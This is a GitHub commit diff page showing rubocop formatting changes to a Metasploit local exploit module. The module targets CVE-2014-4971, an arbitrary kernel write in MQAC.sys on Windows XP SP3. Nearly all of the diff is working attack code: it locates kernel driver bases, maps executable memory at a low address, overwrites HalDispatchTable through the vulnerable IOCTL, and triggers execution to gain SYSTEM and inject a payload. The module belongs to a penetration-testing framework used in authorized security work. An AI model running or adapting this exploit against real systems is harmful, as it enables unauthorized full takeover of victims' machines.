Skip to content

Commit f3e8c51

Browse files
committed
Merge rubocop changes from Kernelsmith
2 parents 210342d + e00d892 commit f3e8c51

File tree

1 file changed

+52
-37
lines changed

1 file changed

+52
-37
lines changed

modules/exploits/windows/local/mqac_write.rb

Lines changed: 52 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -14,62 +14,70 @@ class Metasploit3 < Msf::Exploit::Local
1414

1515
INVALID_HANDLE_VALUE = 0xFFFFFFFF
1616

17-
def initialize(info={})
18-
super(update_info(info, {
17+
def initialize(info = {})
18+
super(update_info(info,
1919
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
20-
'Description' => %q{
20+
'Description' => %q(
2121
A vulnerability within the MQAC.sys module allows an attacker to
2222
overwrite an arbitrary location in kernel memory.
2323
2424
This module will elevate itself to SYSTEM, then inject the payload
2525
into another SYSTEM process.
26-
},
26+
),
2727
'License' => MSF_LICENSE,
2828
'Author' =>
2929
[
3030
'Matt Bergin', # original exploit and all the hard work
3131
'Spencer McIntyre' # MSF module
3232
],
33-
'Arch' => [ ARCH_X86 ],
34-
'Platform' => [ 'win' ],
35-
'SessionTypes' => [ 'meterpreter' ],
33+
'Arch' => [ARCH_X86],
34+
'Platform' => ['win'],
35+
'SessionTypes' => ['meterpreter'],
3636
'DefaultOptions' =>
3737
{
38-
'EXITFUNC' => 'thread',
38+
'EXITFUNC' => 'thread'
3939
},
4040
'Targets' =>
4141
[
42-
[ 'Windows XP SP3',
43-
{
44-
'_KPROCESS' => "\x44",
45-
'_TOKEN' => "\xc8",
46-
'_UPID' => "\x84",
47-
'_APLINKS' => "\x88"
48-
}
49-
],
42+
['Windows XP SP3',
43+
{
44+
'_KPROCESS' => "\x44",
45+
'_TOKEN' => "\xc8",
46+
'_UPID' => "\x84",
47+
'_APLINKS' => "\x88"
48+
}
49+
]
5050
],
51-
'References' =>
51+
'References' =>
5252
[
53-
[ 'CVE', '2014-4971' ],
54-
[ 'EDB', '34112' ],
55-
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]
53+
%w(CVE 2014-4971),
54+
%w(EDB 34112),
55+
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
5656
],
57-
'DisclosureDate'=> 'Jul 22 2014',
58-
'DefaultTarget' => 0
59-
}))
57+
'DisclosureDate' => 'Jul 22 2014',
58+
'DefaultTarget' => 0
59+
))
6060
end
6161

6262
def find_sys_base(drvname)
63-
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
64-
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ['PBLOB', 'lpImageBase', 'out'], ['DWORD', 'cb', 'in'], ['PDWORD', 'lpcbNeeded', 'out']])
65-
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ['LPVOID', 'ImageBase', 'in'], ['PBLOB', 'lpBaseName', 'out'], ['DWORD', 'nSize', 'in']])
63+
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
64+
lp_image_base = %w(PBLOB lpImageBase out)
65+
cb = %w(DWORD cb in)
66+
lpcb_needed = %w(PDWORD lpcbNeeded out)
67+
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
68+
[lp_image_base, cb, lpcb_needed])
69+
image_base = %w(LPVOID ImageBase in)
70+
lp_base_name = %w(PBLOB lpBaseName out)
71+
n_size = %w(DWORD nSize in)
72+
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
73+
[image_base, lp_base_name, n_size])
6674
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
6775
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')
6876

6977
addresses.each do |address|
7078
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
7179
current_drvname = results['lpBaseName'][0..results['return'] - 1]
72-
if drvname == nil
80+
if drvname.nil?
7381
if current_drvname.downcase.include?('krnl')
7482
return [address, current_drvname]
7583
end
@@ -99,12 +107,14 @@ def get_system_proc
99107
end
100108

101109
def open_device
102-
handle = session.railgun.kernel32.CreateFileA("\\\\.\\MQAC", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
103-
if handle['return'] == 0
110+
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
111+
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
112+
handle = handle['return']
113+
if handle == 0
104114
print_error('Failed to open the \\\\.\\MQAC device')
105115
return nil
106116
end
107-
handle = handle['return']
117+
handle
108118
end
109119

110120
def check
@@ -141,8 +151,8 @@ def exploit
141151
return
142152
end
143153

144-
# Running on Windows XP versions that aren't listed in the supported list results
145-
# in a BSOD and so we should not let that happen.
154+
# Running on Windows XP versions that aren't listed in the supported list
155+
# results in a BSOD and so we should not let that happen.
146156
return unless check == Exploit::CheckCode::Appears
147157

148158
kernel_info = find_sys_base(nil)
@@ -154,7 +164,10 @@ def exploit
154164

155165
this_proc = session.sys.process.open
156166
unless this_proc.memory.writable?(base_addr)
157-
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack('L'), nil, [ 0xffff ].pack('L'), 'MEM_COMMIT|MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
167+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('L'), nil,
168+
[0xffff].pack('L'),
169+
'MEM_COMMIT|MEM_RESERVE',
170+
'PAGE_EXECUTE_READWRITE')
158171
end
159172
unless this_proc.memory.writable?(base_addr)
160173
print_error('Failed to properly allocate memory')
@@ -164,7 +177,8 @@ def exploit
164177

165178
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
166179
hKernel = hKernel['return']
167-
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, 'HalDispatchTable')
180+
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
181+
'HalDispatchTable')
168182
halDispatchTable = halDispatchTable['return']
169183
halDispatchTable -= hKernel
170184
halDispatchTable += kernel_info[0]
@@ -193,8 +207,10 @@ def exploit
193207
this_proc.close
194208

195209
print_status('Triggering vulnerable IOCTL')
196-
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, halDispatchTable + 0x4, 0)
197-
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
210+
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
211+
1, 0x258,
212+
halDispatchTable + 0x4, 0)
213+
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
198214

199215
unless is_system?
200216
print_error('Exploit failed')
@@ -207,5 +223,4 @@ def exploit
207223
fail_with(Failure::Unknown, 'Error while executing the payload')
208224
end
209225
end
210-
211226
end

0 commit comments

Comments
 (0)